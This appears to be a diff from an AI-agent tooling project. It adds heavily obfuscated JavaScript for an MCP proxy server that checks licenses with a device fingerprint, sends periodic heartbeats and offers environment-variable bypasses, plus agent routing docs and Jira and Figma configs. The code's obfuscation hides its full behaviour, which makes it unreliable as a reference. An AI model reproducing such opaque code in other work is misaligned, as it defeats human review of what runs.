_0x5a7fcd={};_0x5a7fcd[_0x175eaf(0x15f)]=!![],fs['mkdirSync'](path[_0x175eaf(0x106)](_0x52103d),_0x5a7fcd),fs[_0x175eaf(0xfa)](_0x52103d,_0x321fd7['token'],'utf8'),console[_0x175eaf(0x14a)](_0x175eaf(0x104));}catch(_0x11e9c6){console[_0x175eaf(0x14a)]('[MCP\x20Agent]\x20Failed\x20to\x20save\x20refreshed\x20license\x20token\x20to\x20disk:',_0x11e9c6[_0x175eaf(0x11f)]);}}}catch(_0x1e08d4){clearTimeout(_0x4b5c38),console[_0x175eaf(0x14a)](_0x175eaf(0x13d),_0x1e08d4[_0x175eaf(0x11f)],_0x175eaf(0x14d));}}}async[_0x1c5686(0x145)](){const _0x1bf89a=_0x1c5686;console[_0x1bf89a(0x14a)](_0x1bf89a(0x15d)+this['projectPath']);if(!this['publicKey']){if(process.env.MCP_ADMIN_DIR){const _0x1b59d3=path[_0x1bf89a(0x100)](process.env.MCP_ADMIN_DIR,_0x1bf89a(0xf3));fs[_0x1bf89a(0x159)](_0x1b59d3)&&(this[_0x1bf89a(0xf9)]=fs[_0x1bf89a(0xea)](_0x1b59d3,_0x1bf89a(0x125))[_0x1bf89a(0x13b)]());}if(!this[_0x1bf89a(0xf9)]){let _0x22cbe2=__dirname;while(_0x22cbe2){const _0x1ba2f1=path['join'](_0x22cbe2,_0x1bf89a(0x170),_0x1bf89a(0xf3));if(fs[_0x1bf89a(0x159)](_0x1ba2f1)){this[_0x1bf89a(0xf9)]=fs[_0x1bf89a(0xea)](_0x1ba2f1,_0x1bf89a(0x125))[_0x1bf89a(0x13b)]();break;}const _0x4ada09=path[_0x1bf89a(0x106)](_0x22cbe2);if(_0x4ada09===_0x22cbe2)break;_0x22cbe2=_0x4ada09;}}}const _0x373418=this['integrityManifestPath'],_0x2d7ab7=!__dirname[_0x1bf89a(0xf4)](/\\/g,'/')[_0x1bf89a(0x15e)]('/')[_0x1bf89a(0xee)](_0x1bf89a(0x165)),_0x3817a0=process.env.MCP_SKIP_INTEGRITY_CHECK==='1'||_0x2d7ab7&&!fs['existsSync'](_0x373418);if(!_0x3817a0){const _0x279828=require(_0x1bf89a(0xff));if(!fs[_0x1bf89a(0x159)](_0x373418)){console[_0x1bf89a(0x14a)]('[MCP\x20Agent]\x20Integrity\x20check\x20failed:\x20integrity-manifest.json\x20missing.\x20Exiting.'),process['exit'](0x1);return;}let _0x3a65e4;try{_0x3a65e4=JSON[_0x1bf89a(0x144)](fs['readFileSync'](_0x373418,_0x1bf89a(0x125)));}catch(_0x3a4f33){console[_0x1bf89a(0x14a)]('[MCP\x20Agent]\x20Integrity\x20check\x20failed:\x20Failed\x20to\x20parse\x20integrity-manifest.json.\x20Exiting.'),process[_0x1bf89a(0x16d)](0x1);return;}if(!_0x3a65e4['files']||!_0x3a65e4['signature']){console['error'](_0x1bf89a(0x137)),process[_0x1bf89a(0x16d)](0x1);return;}const _0x447bed=this[_0x1bf89a(0xf9)]||require(_0x1bf89a(0xf6))[_0x1bf89a(0x150)];try{const _0x51a4c7=JSON[_0x1bf89a(0x115)](_0x3a65e4[_0x1bf89a(0x13a)]),_0x4b886b=Buffer[_0x1bf89a(0x103)](_0x3a65e4[_0x1bf89a(0xf0)],_0x1bf89a(0x121)),_0x4c15b1=_0x279828[_0x1bf89a(0x169)](null,Buffer['from'](_0x51a4c7),_0x447bed,_0x4b886b);if(!_0x4c15b1){console[_0x1bf89a(0x14a)](_0x1bf89a(0x134)),process[_0x1bf89a(0x16d)](0x1);return;}}catch(_0x218c93){console[_0x1bf89a(0x14a)](_0x1bf89a(0x157)),process['exit'](0x1);return;}const _0x369818=path[_0x1bf89a(0x100)](__dirname,_0x1bf89a(0x163));for(const [_0x3b45e9,_0x4d2846]of Object['entries'](_0x3a65e4[_0x1bf89a(0x13a)])){const _0x8ef47e=path['join'](_0x369818,_0x3b45e9);if(!fs[_0x1bf89a(0x159)](_0x8ef47e)){console[_0x1bf89a(0x14a)](_0x1bf89a(0x108)+_0x3b45e9+'\x20modified.\x20Exiting.'),process[_0x1bf89a(0x16d)](0x1);return;}try{const _0x3e5c65=fs[_0x1bf89a(0xea)](_0x8ef47e),_0x161ad0=_0x279828['createHash'](_0x1bf89a(0x146))[_0x1bf89a(0x168)](_0x3e5c65)['digest'](_0x1bf89a(0x14c));if(_0x161ad0!==_0x4d2846){console['error'](_0x1bf89a(0x108)+_0x3b45e9+_0x1bf89a(0x102)),process[_0x1bf89a(0x16d)](0x1);return;}}catch(_0x756ce7){console[_0x1bf89a(0x14a)](_0x1bf89a(0x108)+_0x3b45e9+_0x1bf89a(0x102)),process[_0x1bf89a(0x16d)](0x1);return;}}}const _0x4b18ad=process.env.MCP_SKIP_LICENSE_CHECK==='1';if(!_0x4b18ad){if(!this[_0x1bf89a(0x13e)]){const {getFingerprint:_0x35e740}=require(_0x1bf89a(0x11d));this['deviceId']=_0x35e740();}const _0x4b2032=verifyLicense(this['licenseKey'],this[_0x1bf89a(0x13e)],this[_0x1bf89a(0xf9)]);if(!_0x4b2032[_0x1bf89a(0xef)]){if(_0x4b2032[_0x1bf89a(0x124)]===_0x1bf89a(0x16f)){const _0x2f9998=_0x4b2032[_0x1bf89a(0x122)]||{},_0x44712c=_0x2f9998['exp']?new Date(_0x2f9998['exp'])[_0x1bf89a(0x161)]()[_0x1bf89a(0x15e)]('T')[0x0]:_0x1bf89a(0x129);console[_0x1bf89a(0x14a)](_0x1bf89a(0x16c)+_0x44712c+_0x1bf89a(0x139));}else console[_0x1bf89a(0x14a)](_0x1bf89a(0xf1)+_0x4b2032[_0x1bf89a(0x124)]+_0x1bf89a(0xeb));process[_0x1bf89a(0x16d)](0x1);return;}console[_0x1bf89a(0x14a)](_0x1bf89a(0xfd)+_0x4b2032[_0x1bf89a(0x122)]['user']),await this[_0x1bf89a(0x156)](),this[_0x1bf89a(0x149)]=setInterval(()=>{const _0x7fd4ed=_0x1bf89a;this[_0x7fd4ed(0x156)]()[_0x7fd4ed(0x130)](_0xed17b0=>{const _0x53c5e5=_0x7fd4ed;console[_0x53c5e5(0x14a)]('[MCP\x20Agent]\x20Periodic\x20heartbeat\x20error:',_0xed17b0['message']);});},0x18*0x3c*0x3c*0x3e8);}this['backends']=spawnBackends(this[_0x1bf89a(0x126)]),this[_0x1bf89a(0x166)]=!![];for(const _0xa1d278 of Object['values'](this[_0x1bf89a(0x14f)])){_0xa1d278[_0x1bf89a(0x145)]();}this['stdinListener']=_0xdfed07=>{const _0x3386d5=_0x1bf89a;this['handleClientData'](_0xdfed07[_0x3386d5(0x153)]());},process[_0x1bf89a(0xe9)]['on'](_0x1bf89a(0xe4),this[_0x1bf89a(0x131)]);}[_0x1c5686(0x167)](_0x5855ab){const _0x15d77d=_0x1c5686;this['clientBuffer']+=_0x5855ab;const _0x42869d=this[_0x15d77d(0x11c)]['split']('\x0a');this[_0x15d77d(0x11c)]=_0x42869d[_0x15d77d(0x155)]();for(const _0x3b37c7 of _0x42869d){const _0x3bc028=_0x3b37c7['trim']();if(!_0x3bc028)continue;try{const _0x58542c=JSON[_0x15d77d(0x144)](_0x3bc028);this[_0x15d77d(0x135)](_0x58542c);}catch(_0x34c28d){console[_0x15d77d(0x14a)](_0x15d77d(0x11e),_0x3b37c7,_0x34c28d[_0x15d77d(0x11f)]);}}}async[_0x1c5686(0x135)](_0x43d50e){const _0x29bc13=_0x1c5686,{id:_0xfb434c,method:_0x310c53,params:_0x509844}=_0x43d50e;if(!_0x310c53)return;if(_0x310c53==='initialize'){Promise[_0x29bc13(0x15a)](Object[_0x29bc13(0x10c)](this[_0x29bc13(0x14f)])[_0x29bc13(0x148)](_0x232e87=>_0x232e87[_0x29bc13(0x141)](_0x29bc13(0x12e),_0x509844)[_0x29bc13(0x130)](_0x10ab44=>{const _0x3f644a=_0x29bc13;console['error'](_0x3f644a(0x114)+(_0x232e87[_0x3f644a(0x14b)]||_0x232e87[_0x3f644a(0xe6)])+':',_0x10ab44[_0x3f644a(0x11f)]);})));const _0x28be9b={};_0x28be9b[_0x29bc13(0x118)]=![];const _0x2e6342={};_0x2e6342['tools']=_0x28be9b;const _0x318a5e={};_0x318a5e['name']=_0x29bc13(0x14e),_0x318a5e[_0x29bc13(0x12a)]=_0x29bc13(0x117);const _0x11d20c={};_0x11d20c['protocolVersion']=_0x509844[_0x29bc13(0x140)]||'2024-11-05',_0x11d20c[_0x29bc13(0x119)]=_0x2e6342,_0x11d20c[_0x29bc13(0x10a)]=_0x318a5e;const _0x2e4c38={};_0x2e4c38[_0x29bc13(0x113)]=_0x29bc13(0x12d),_0x2e4c38['id']=_0xfb434c,_0x2e4c38[_0x29bc13(0x128)]=_0x11d20c;const _0xac2741=_0x2e4c38;this[_0x29bc13(0x158)](_0xac2741);return;}if(_0x310c53==='tools/list'){try{const _0x1e03f5=Object[_0x29bc13(0xf8)](this['backends'])['map'](async([_0x522010,_0xd41cee])=>{const _0x3b73de=_0x29bc13;try{const _0x1d28c2=await _0xd41cee[_0x3b73de(0x141)](_0x3b73de(0x116)),_0x28c955=_0x1d28c2&&_0x1d28c2['result']&&_0x1d28c2[_0x3b73de(0x128)][_0x3b73de(0xfe)]||[];return translateToolList(_0x28c955,_0x522010);}catch(_0x579a47){return console[_0x3b73de(0x14a)](_0x3b73de(0xf2)+_0x522010+':',_0x579a47[_0x3b73de(0x11f)]),[];}}),_0x46e9f4=await Promise[_0x29bc13(0x15a)](_0x1e03f5),_0x5ffff4=_0x46e9f4[_0x29bc13(0x10f)](),_0x29a194={};_0x29a194[_0x29bc13(0xfe)]=_0x5ffff4;const _0x2509fa={};_0x2509fa[_0x29bc13(0x113)]=_0x29bc13(0x12d),_0x2509fa['id']=_0xfb434c,_0x2509fa[_0x29bc13(0x128)]=_0x29a194;const _0xa4f8a=_0x2509fa;this[_0x29bc13(0x158)](_0xa4f8a);}catch(_0x3246cd){this[_0x29bc13(0x120)](_0xfb434c,-0x7f5b,'Failed\x20to\x20query\x20tool\x20list:\x20'+_0x3246cd['message']);}return;}if(_0x310c53===_0x29bc13(0x132)){const _0x486e45=_0x509844[_0x29bc13(0xe6)],_0x1522de=mapExposedToOriginal(_0x486e45);if(!_0x1522de)return this[_0x29bc13(0x120)](_0xfb434c,-0x7f59,'Tool\x20not\x20found:\x20'+_0x486e45);try{const _0x3c73c9=this[_0x29bc13(0x14f)][_0x1522de[_0x29bc13(0x11b)]];if(!_0x3c73c9)return this[_0x29bc13(0x120)](_0xfb434c,-0x7f5b,_0x29bc13(0x147)+_0x1522de[_0x29bc13(0x11b)]+_0x29bc13(0x12b));const _0x7dc4c5={..._0x509844};_0x7dc4c5[_0x29bc13(0xe6)]=_0x1522de[_0x29bc13(0x11a)];const _0xcef46a={..._0x43d50e};_0xcef46a['params']=_0x7dc4c5;const _0x1d38eb=_0xcef46a,_0x365768=await _0x3c73c9[_0x29bc13(0xf5)](_0x1d38eb);this['writeToClient'](_0x365768);}catch(_0x1957c7){this[_0x29bc13(0x120)](_0xfb434c,-0x7f5b,'Tool\x20execution\x20failed:\x20'+_0x1957c7[_0x29bc13(0x11f)]);}return;}for(const _0x1b59fc of Object['values'](this['backends'])){_0x1b59fc['child']&&_0x1b59fc[_0x29bc13(0x111)][_0x29bc13(0xe9)]['write'](JSON[_0x29bc13(0x115)](_0x43d50e)+'\x0a');}}['writeToClient'](_0x5d75d4){const _0x31be37=_0x1c5686;this[_0x31be37(0x105)][_0x31be37(0x16a)](JSON[_0x31be37(0x115)](_0x5d75d4)+'\x0a');}[_0x1c5686(0x120)](_0x2d7875,_0x1ede00,_0x4d53f5){const _0x5682b5=_0x1c5686,_0x196cb5={};_0x196cb5[_0x5682b5(0xe3)]=_0x1ede00,_0x196cb5[_0x5682b5(0x11f)]=_0x4d53f5;const _0x4ecee2={};_0x4ecee2[_0x5682b5(0x113)]=_0x5682b5(0x12d),_0x4ecee2['id']=_0x2d7875,_0x4ecee2[_0x5682b5(0x14a)]=_0x196cb5;const _0x16ff7b=_0x4ecee2;this['writeToClient'](_0x16ff7b);}[_0x1c5686(0x142)](){const _0x485531=_0x1c5686;this[_0x485531(0x166)]=![];this['heartbeatInterval']&&(clearInterval(this[_0x485531(0x149)]),this[_0x485531(0x149)]=null);this[_0x485531(0x131)]&&(process[_0x485531(0xe9)][_0x485531(0xe2)]('data',this['stdinListener']),this['stdinListener']=null,process[_0x485531(0xe9)][_0x485531(0x151)]());if(this[_0x485531(0x14f)])for(const _0x583136 of Object[_0x485531(0x10c)](this[_0x485531(0x14f)])){_0x583136[_0x485531(0x142)]();}}}const _0xbdb317={};function _0x3e21(_0x343d7f,_0x23f741){_0x343d7f=_0x343d7f-0xe1;const _0x4d2ec5=_0x4d2e();let _0x3e218d=_0x4d2ec5[_0x343d7f];if(_0x3e21['pyAVWr']===undefined){var _0x117c84=function(_0x17b530){const _0x4fdad6='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5a99e2='',_0x250f50='';for(let _0x5787ea=0x0,_0x293d54,_0xb5e619,_0x53d8af=0x0;_0xb5e619=_0x17b530['charAt'](_0x53d8af++);~_0xb5e619&&(_0x293d54=_0x5787ea%0x4?_0x293d54*0x40+_0xb5e619:_0xb5e619,_0x5787ea++%0x4)?_0x5a99e2+=String['fromCharCode'](0xff&_0x293d54>>(-0x2*_0x5787ea&0x6)):0x0){_0xb5e619=_0x4fdad6['indexOf'](_0xb5e619);}for(let _0x226b9f=0x0,_0x30d85b=_0x5a99e2['length'];_0x226b9f<_0x30d85b;_0x226b9f++){_0x250f50+='%'+('00'+_0x5a99e2['charCodeAt'](_0x226b9f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x250f50);};_0x3e21['NGkFJM']=_0x117c84,_0x3e21['fFfEsv']={},_0x3e21['pyAVWr']=!![];}const _0x34e29b=_0x4d2ec5[0x0],_0x490577=_0x343d7f+_0x34e29b,_0x205f97=_0x3e21['fFfEsv'][_0x490577];return!_0x205f97?(_0x3e218d=_0x3e21['NGkFJM'](_0x3e218d),_0x3e21['fFfEsv'][_0x490577]=_0x3e218d):_0x3e218d=_0x205f97,_0x3e218d;}function _0x4d2e(){const _0x5131a7=['C3rVCa','ywjVCNq','CgfYC2u','C3rHCNq','C2HHmJu2','vgfYz2v0igjHy2TLBMqG','BwfW','AgvHCNrIzwf0sw50zxj2ywW','zxjYB3i','zgLZCgXHEu5HBwu','Agv4','lIbdB250Aw51Aw5NihDPDgGGy2fJAgvKihrVA2vUlG','BwnWlwfNzw50lxbYB3H5','yMfJA2vUzhm','ufjprfvdveLptL9qvujmsunFs0vz','Cgf1C2u','odG4mde2zgr0A1bv','Dg9tDhjPBMC','Bg9HzeXPy2vUC2vlzxK','Cg9W','CgvYzM9YBuHLyxj0yMvHDa','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGu2LNBMf0DxjLihzLCMLMAwnHDgLVBIbMywLSzwqUiev4AxrPBMCU','D3jPDgvuB0nSAwvUDa','zxHPC3rZu3LUyW','ywXS','Dg9Rzw4','mJe3ntKWnM5Qwvbswa','w01ducbbz2vUDf0Gu3rHCNrPBMCGC2vYDMvYigf0ia','C3bSAxq','CMvJDxjZAxzL','C3rHDhvZ','Dg9ju09tDhjPBMC','BgLJzw5Zzs5RzxK','lI4VlI4','otm3nJG1mgT1BfrYvW','zgLZDa','CNvUBMLUzW','AgfUzgXLq2XPzw50rgf0yq','DxbKyxrL','DMvYAwz5','D3jPDgu','yxbWBgLJyxrPB24VANnVBG','w01ducbbz2vUDf0GtgLJzw5ZzsbLEhbPCMvKig9Uia','zxHPDa','l2HLyxj0yMvHDa','tgLJzw5ZzsbLEhbPCMvK','ywrTAw4','lI9YB3v0zxiUANm','CMvTB3zLtgLZDgvUzxi','y29Kzq','zgf0yq','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGAgfZigjLzw4GCMv2B2TLzc4GrxHPDgLUzY4','BMfTzq','ndi1nZm2DePkAK9n','zxHWB3j0CW','C3rKAw4','CMvHzezPBgvtEw5J','lIbdB250ywn0ihn1ChbVCNqGyxqGC3vWCg9YDebHBMHKAc5PBY4GrxHPDgLUzY4','rMfPBgvKihrVihn0yxj0ifbYB3H5u2vYDMvYoG','w01ducbbz2vUDf0GsgvHCNrIzwf0ihjLzNjLC2GGzMfPBgvKoIbtzxj2zxiGCMv0DxjUzwqG','Aw5JBhvKzxm','DMfSAwq','C2LNBMf0DxjL','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGDMvYAwzPy2f0Aw9UigzHAwXLzdOG','w01ducbbz2vUDf0GDg9VBhmVBgLZDcbYzxf1zxn0igzHAwXLzcbMB3iGC2vYDMLJzsa','BwfZDgvYlNb1yMXPyY5Wzw0','CMvWBgfJzq','zM9YD2fYzfjLCxvLC3q','lI4VBgLJzw5Zzs92zxjPzNKUANm','zxHW','zw50CMLLCW','ChvIBgLJs2v5','D3jPDgvgAwXLu3LUyW','odbHv0jwwLu','Aw50zwDYAxr5twfUAwzLC3rqyxrO','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGDMvYAwzPzwqGC3vJy2vZC2z1BgX5igzVCIb1C2vYoIa','Dg9VBhm','y3j5ChrV','AM9PBG','Ag9TzwrPCG','ig1VzgLMAwvKlIbfEgL0Aw5NlG','zNjVBq','w01ducbbz2vUDf0GsgvHCNrIzwf0oIbmAwnLBNnLihrVA2vUihn1y2nLC3nMDwXSEsbYzwzYzxnOzwqU','C3rKB3v0','zgLYBMfTzq','BwfZDgvYu2vJCMv0','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOG','lI9IywnRzw5KCY5QCW','C2vYDMvYsw5MBW','y3DK','DMfSDwvZ','mNzhu1HfBa','uhjVEhLtzxj2zxi','zMXHDa','mtiXnJCXmevVBLDtzG','y2HPBgq','mte5ntaWmZjXCKz2EMO','ANnVBNjWyW','w01ducbbz2vUDf0GrMfPBgvKihrVigLUAxrPywXPEMuGC2vYDMLJzsa','C3rYAw5NAwz5','Dg9VBhmVBgLZDa','ms4WlJa','BgLZDenOyw5Nzwq','y2fWywjPBgL0AwvZ','B3jPz2LUywXoyw1L','yMfJA2vUza','y2XPzw50qNvMzMvY','lI4VBgLJzw5Zzs9MAw5NzxjWCMLUDc5QCW','w01ducbbz2vUDf0GrMfPBgvKihrVihbHCNnLiePtt04TuLbdig1LC3nHz2uGzNjVBsbJBgLLBNq6','BwvZC2fNzq','D3jPDgvfCNjVCG','yMfZzty0DxjS','Cgf5Bg9Hza','ANnVBG','CMvHC29U','DxrMoa','ChjVAMvJDfbHDgG','ue9tva','CMvZDwX0','Dw5RBM93BG','DMvYC2LVBG','igLZig5VDcbYDw5UAw5N','mJK4mdKYDNvIsLvW','mI4W','Aw5PDgLHBgL6zq','lMfUAgrO','y2f0y2G','C3rKAw5mAxn0zw5LCG','Dg9VBhmVy2fSBa','Cgf0Aa','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGsw52ywXPzcbZAwDUyxr1CMuUiev4AxrPBMCU','AgfUzgXLq2XPzw50twvZC2fNzq','w01ducbbz2vUDf0GsgvHCNrIzwf0ignOzwnRoIb0B2TLBIbOyxmGBgvZCYb0AgfUidyGzgf5CYbYzw1HAw5PBMCUifjLzNjLC2HPBMCUlI4','w01ducbbz2vUDf0Gsw50zwDYAxr5ignOzwnRigzHAwXLzdOGsw52ywXPzcbTyw5PzMvZDcbMB3jTyxqUiev4AxrPBMCU','ndbLExrHvKe','lIbszw5LDYbHDcbODhrWCZOVl2fUAgrOlMLVl3jLBMv3lIbfEgL0Aw5NlG','zMLSzxm','DhjPBq','w01ducbbz2vUDf0GtgLJzw5ZzsbRzxKGzxHWAxjLzcbVCIbPBNzHBgLKlIbfEgL0Aw5NlG','w01ducbbz2vUDf0GsgvHCNrIzwf0ignOzwnRigzHAwXLzcbVCIb0Aw1LzcbVDxq6','zgv2AwnLswq','BgLJzw5ZzuTLEq','ChjVDg9JB2XwzxjZAw9U','C2vUzfjLCxvLC3q'];_0x4d2e=function(){return _0x5131a7;};return _0x4d2e();}_0xbdb317[_0x1c5686(0x10e)]=ProxyServer,module[_0x1c5686(0xe8)]=_0xbdb317;if(require['main']===module){const server=new ProxyServer();server[_0x1c5686(0x145)]()[_0x1c5686(0x130)](_0x42574f=>{const _0x4cff57=_0x1c5686;console[_0x4cff57(0x14a)](_0x4cff57(0xec),_0x42574f[_0x4cff57(0x11f)]),process[_0x4cff57(0x16d)](0x1);});}
@@ -43,6 +43,26 @@ Tool selection rules, index policies, memory conventions, and auto-skill activat
43
43
  - Impact: `impact_analysis` (always update index first)
44
44
  - Memory: `remember` / `recall` / `read_knowledge` (see conventions in mcp-tools.md)
45
45
 
46
+ ### PM tools
47
+
48
+ PM preset connects to Jira for project management. See `docs/agents/jira-config.md`.
49
+
50
+ **Quick reference:**
51
+ - Search tasks: `pm-search-tasks` (JQL query)
52
+ - Task CRUD: `pm-get-task`, `pm-create-task`, `pm-update-task`
53
+ - Status transitions: `pm-change-status`
54
+ - Comments: `pm-add-comment`
55
+ - Projects/Boards: `pm-list-projects`, `pm-get-board`
56
+ - Confluence: `pm-search-docs`, `pm-get-doc`
57
+
58
+ ### Design tools
59
+
60
+ Optional design tool integration for FE/mobile. See `docs/agents/design-config.md`.
61
+
62
+ **Quick reference:**
63
+ - Figma: `design-read-figma` (extract layout/styles), `design-get-figma-images` (download assets)
64
+ - Stitch: `design-stitch-generate` (create screen), `design-stitch-get-code` (pull code), `design-stitch-get-dna` (design tokens)
65
+
46
66
  ---
47
67
 
48
68
  ## Session Start Protocol (MANDATORY)
@@ -52,31 +72,33 @@ At the start of every session:
52
72
  2. Read `.agents/memory/MEMORY.md` to load persistent project conventions.
53
73
  3. Read `docs/agents/mcp-tools.md` to load MCP tool selection rules & memory conventions.
54
74
  4. Call `read_knowledge` to load dynamic knowledge graph from memory.
75
+ 5. **Read `.agents/skill-triggers.json` to load auto-routing rules for all skills/workflows/tools.**
55
76
 
56
77
  ---
57
78
 
58
- ## Auto-Trigger Skills (MANDATORY)
79
+ ## Unified Auto-Routing (MANDATORY)
80
+
81
+ All 60+ skills, 12 workflows, and 28 MCP tools are indexed in `.agents/skill-triggers.json`.
82
+ The agent MUST use this trigger map to automatically invoke the right tool based on user's natural language.
59
83
 
60
- ### Workflow Skills — auto-trigger based on request type:
84
+ **How it works:**
85
+ 1. **Detect** — Scan user message for keywords (EN + VI), URL patterns, file extensions
86
+ 2. **Filter** — Only match skills the user has installed (preset-aware)
87
+ 3. **Execute** — Based on risk level:
61
88
 
62
- | Skill | Trigger Conditions | Agent Action |
89
+ | Risk Level | Behavior | Examples |
63
90
  |---|---|---|
64
- | `spec-clarification` | Design decision, architecture choice, plan review | Load SKILL.md Start alignment session |
65
- | `bug-diagnostics` | Bug report, error log, "fails", "crashes" | Load SKILL.md Reproduce → minimise → hypothesise → fix |
66
- | `task-breakdown` | Plan/PRD completed, "break down", "create tickets" | Load SKILL.md Convert plan to vertical-slice issues |
67
- | `prd-gen` | New feature/product description with enough context | Load SKILL.md → Extract PRD from conversation context |
68
- | `prototype` | "mockup", "explore options", unclear UI/logic | Load SKILL.md → Build throwaway prototype |
69
- | `tdd-loop` | Feature implementation, bug fix, "write tests" | Load SKILL.md → Apply RED-GREEN-REFACTOR loop |
91
+ | `safe` | 🔄 Auto-invoke, announce skill name | analytics, search, review, debug |
92
+ | `suggest` | 💡 Show suggestion, wait for confirm | create, deploy, refactor, generate |
93
+ | `ambiguous` | 🤔 Show alternatives, let user choose | "design"Stitch / Figma / mockup |
70
94
 
71
- ### UI/UX Design Skills auto-trigger when touching UI/design:
95
+ **Override:** User can always use explicit `@agent` mentions or `/slash-commands`. Explicit > auto-routing.
72
96
 
73
- | Skill | Trigger Conditions | Agent Action |
74
- |---|---|---|
75
- | `ui-style-rules` | Any web UI task: page layout, component styling | Load SKILL.mdApply anti-slop design rules |
76
- | `web-mockup-gen` | Web UI concept needed before coding | Load SKILL.md → Generate web design reference images |
77
- | `mobile-mockup-gen` | Mobile UI concept needed before coding | Load SKILL.md → Generate mobile screen mockups |
78
- | `mobile-rules` | Any mobile UI implementation: Flutter, touch interaction | Load SKILL.md → Apply platform conventions |
79
- | `flutter-*` | Flutter-specific tasks: layout, routing, testing | Auto-select matching flutter skill |
97
+ **Missing preset:** If trigger matches but preset not installed → show install hint, don't silently fail.
98
+
99
+ **Context awareness:** Track conversation topic to improve routing (e.g., Flutter context + "add test"`flutter-add-widget-test`, not generic `testing-patterns`).
100
+
101
+ Full routing protocol: `.agents/skills/intelligent-routing/SKILL.md`
80
102
 
81
103
  ---
82
104
 
@@ -100,5 +122,6 @@ Every user request must pass through the Socratic Gate before ANY implementation
100
122
  - **Performance**: Measure first. Adhere to current Core Web Vitals standards.
101
123
 
102
124
  ### Quick Reference
103
- - **Masters**: `orchestrator`, `project-planner`, `security-auditor`, `backend-specialist`, `frontend-specialist`, `mobile-developer`, `debugger`
104
- - **Key Skills**: `clean-code`, `brainstorming`, `ui-style-rules`, `mobile-rules`, `web-mockup-gen`, `mobile-mockup-gen`, `bug-diagnostics`, `tdd-loop`, `spec-clarification`, `prd-gen`, `task-breakdown`, `prototype`
125
+ - **Masters**: `orchestrator`, `project-planner`, `security-auditor`, `backend-specialist`, `frontend-specialist`, `mobile-developer`, `pm-specialist`, `debugger`
126
+ - **Auto-routing**: `.agents/skill-triggers.json` (85+ triggers, all roles)
127
+ - **Key docs**: `docs/agents/mcp-tools.md`, `docs/agents/jira-config.md`, `docs/agents/design-config.md`
@@ -0,0 +1,52 @@
1
+ # Design Tools Configuration
2
+
3
+ How the design-to-code skills connect to external design tools.
4
+
5
+ ## Figma (if configured)
6
+
7
+ | Setting | Value |
8
+ |---|---|
9
+ | **MCP Server** | `GLips/Figma-Context-MCP` |
10
+ | **Auth** | `FIGMA_ACCESS_TOKEN` env var (Personal Access Token, free) |
11
+ | **Mode** | Read-only — extracts layout, styles, assets |
12
+ | **Get token** | https://www.figma.com/developers/api#access-tokens |
13
+
14
+ ### Usage
15
+
16
+ Paste a Figma file or frame URL in chat:
17
+ ```
18
+ https://figma.com/file/{fileKey}/{fileName}
19
+ https://figma.com/file/{fileKey}?node-id={nodeId}
20
+ ```
21
+
22
+ Agent auto-detects → extracts design → generates code.
23
+
24
+ ## Stitch (if configured)
25
+
26
+ | Setting | Value |
27
+ |---|---|
28
+ | **MCP Server** | `@_davideast/stitch-mcp` |
29
+ | **Auth** | Google account (browser login) |
30
+ | **Mode** | Collaborative — agent creates → user tweaks → agent pulls code |
31
+ | **Cost** | Free (Google Labs Beta) |
32
+ | **Enable** | `STITCH_ENABLED=true` env var |
33
+
34
+ ### Usage
35
+
36
+ Ask agent to design a screen:
37
+ ```
38
+ "Design login page cho banking app"
39
+ "Tạo giao diện dashboard từ specs này"
40
+ ```
41
+
42
+ Agent creates on Stitch → shares link → user tweaks → says "pull code".
43
+
44
+ ## Environment Variables
45
+
46
+ ```bash
47
+ # Figma (free)
48
+ export FIGMA_ACCESS_TOKEN=figd_xxxxx
49
+
50
+ # Stitch (free beta)
51
+ export STITCH_ENABLED=true
52
+ ```
@@ -0,0 +1,52 @@
1
+ # Jira Configuration
2
+
3
+ PM preset connects to Jira for project management. This file defines connection details and conventions.
4
+
5
+ ## Primary Jira (Bank/Client)
6
+
7
+ - **URL:** ${JIRA_PRIMARY_URL}
8
+ - **Auth Method:** API Token (Cloud) / PAT (Server/Data Center)
9
+ - **Default Project:** ${JIRA_PRIMARY_PROJECT}
10
+ - **Type:** Cloud / Server / Data Center
11
+
12
+ ## Secondary Jira (Internal) — Optional
13
+
14
+ - **URL:** ${JIRA_SECONDARY_URL}
15
+ - **Auth Method:** PAT
16
+ - **Default Project:** ${JIRA_SECONDARY_PROJECT}
17
+
18
+ ## Credentials Storage
19
+
20
+ Credentials are stored as environment variables, **NOT** in this file:
21
+
22
+ | Variable | Description |
23
+ |---|---|
24
+ | `JIRA_PRIMARY_URL` | Primary Jira base URL |
25
+ | `JIRA_PRIMARY_USERNAME` | Email (Cloud) or username (Server) |
26
+ | `JIRA_PRIMARY_TOKEN` | API Token (Cloud) or PAT (Server) |
27
+ | `JIRA_SECONDARY_URL` | Secondary Jira base URL (optional) |
28
+ | `JIRA_SECONDARY_USERNAME` | Secondary Jira username (optional) |
29
+ | `JIRA_SECONDARY_TOKEN` | Secondary Jira token (optional) |
30
+
31
+ ## When a skill says "query Jira"
32
+
33
+ Use the `pm-search-tasks` tool with JQL syntax. Example:
34
+ ```
35
+ pm-search-tasks jql="status != Done AND dueDate < now() ORDER BY dueDate ASC"
36
+ ```
37
+
38
+ ## When a skill says "create task on Jira"
39
+
40
+ Use the `pm-create-task` tool. **Always confirm with user before executing write operations.**
41
+
42
+ ## When a skill says "update Jira"
43
+
44
+ Use the `pm-update-task` or `pm-change-status` tool. Show the change summary and ask for confirmation.
45
+
46
+ ## Switching between Jira instances
47
+
48
+ If two Jira instances are configured, specify which one when querying:
49
+ - Primary (default): bank/client Jira
50
+ - Secondary: internal company Jira
51
+
52
+ The agent defaults to the primary Jira unless the user explicitly asks for the internal one.